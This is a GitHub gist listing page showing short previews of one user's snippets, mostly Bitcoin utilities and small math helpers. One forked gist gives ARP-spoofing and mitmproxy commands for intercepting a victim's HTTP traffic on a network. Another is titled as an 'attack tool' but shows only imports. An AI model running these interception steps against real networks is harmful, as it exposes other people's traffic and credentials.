Skip to content

Instantly share code, notes, and snippets.

View angeloped's full-sized avatar

Angeloped angeloped

  • Philippines
View GitHub Profile
@angeloped
angeloped / kali-linux-mitmproxy-transparent-arpspoof.md
Created February 4, 2021 04:05 — forked from jkullick/kali-linux-mitmproxy-transparent-arpspoof.md
Intercept HTTP Traffic with Mitmproxy and Arpspoof on Kali Linux
  1. Enable IP forwarding & port redirection
sysctl -w net.ipv4.ip_forward=1
iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 80 -j REDIRECT --to-port 8080
  1. Use tmux to run 2 instances of arpspoof:
arpspoof -i $INTERFACE -t $VICTIM_IP $GATEWAY_IP
@angeloped
angeloped / bitconvert.py
Created January 12, 2021 04:50 — forked from laurenarcher/bitconvert.py
Simple python bitcoin currency converter using the Bitcoin Charts API. Documentation here: http://bitcoincharts.com/about/markets-api/
import urllib2
import json
data = urllib2.urlopen("http://api.bitcoincharts.com/v1/weighted_prices.json")
def convert_to_bitcoin(amount, currency):
bitcoins = json.loads(data.read())
converted = float(bitcoins[currency]["24h"]) * amount
print converted
@angeloped
angeloped / BTC_address_validator.py
Created January 3, 2021 08:15
Bitcoin address validator. 1000% realshit
import base58
import binascii
from hashlib import sha256
# base58 src: https://github.com/keis/base58
def verifyBTCaddr(addr):
try:
base58Decoder = base58.b58decode(addr).hex()
prefixAndHash = base58Decoder[:len(base58Decoder)-8]
@angeloped
angeloped / base58.py
Created January 3, 2021 08:01 — forked from ianoxley/base58.py
base58 encoding in Python
""" base58 encoding / decoding functions """
import unittest
alphabet = '123456789abcdefghijkmnopqrstuvwxyzABCDEFGHJKLMNPQRSTUVWXYZ'
base_count = len(alphabet)
def encode(num):
""" Returns num in a base58-encoded string """
encode = ''
@angeloped
angeloped / is_ascii.py
Created December 29, 2020 20:29
Determine whether the string is ASCII or not. Compatible in Python 2 and Python 3.
#!/usr/bin/env python
# -*- coding: utf-8 -*-
text = "a♥O◘♦♥O◘♦"
try:
try:
stat = text.decode('ascii')
except UnicodeDecodeError:
stat = False
@angeloped
angeloped / is_cube.py
Created December 2, 2020 06:20
Determine if the number is perfect cube.
def is_cube(n):
return (n**(1.0/3))%1==0
print(is_cube(28))
print(is_cube(27))
print(is_cube(10))
print(is_cube(8))
print(is_cube(3))
@angeloped
angeloped / near_perfect_cube.py
Created December 2, 2020 06:20
Determine the nearest perfect cube within the range from 0 to n.
def near_cube(num):
for i in range(num,0,-1):
if (i**(1.0/3))%1==0: # if perfect cube
break
return i
print(near_cube(730))
print(near_cube(729))
print(near_cube(29))
@angeloped
angeloped / is_square.py
Created December 2, 2020 06:20
Determine if the number is perfect square.
def is_square(n):
return (n**(1.0/2))%1==0
print(is_square(25))
print(is_square(24))
print(is_square(8))
print(is_square(2))
print(is_square(1))
@angeloped
angeloped / near_perfect_square.py
Created December 2, 2020 06:19
Determine the nearest perfect square within the range from 0 to n.
def near_square(n):
for i in range(n,0,-1):
if (i**(1.0/2))%1==0: # if perfect square
break
return i
print(near_square(26))
print(near_square(10))
print(near_square(9))
@angeloped
angeloped / HTTP-HM-AT.py
Last active November 24, 2020 12:57
(HTTP) HyperMessenger Attack Tool.
#!/usr/bin/python
import sys
import time
try:
import urllib
except ImportError: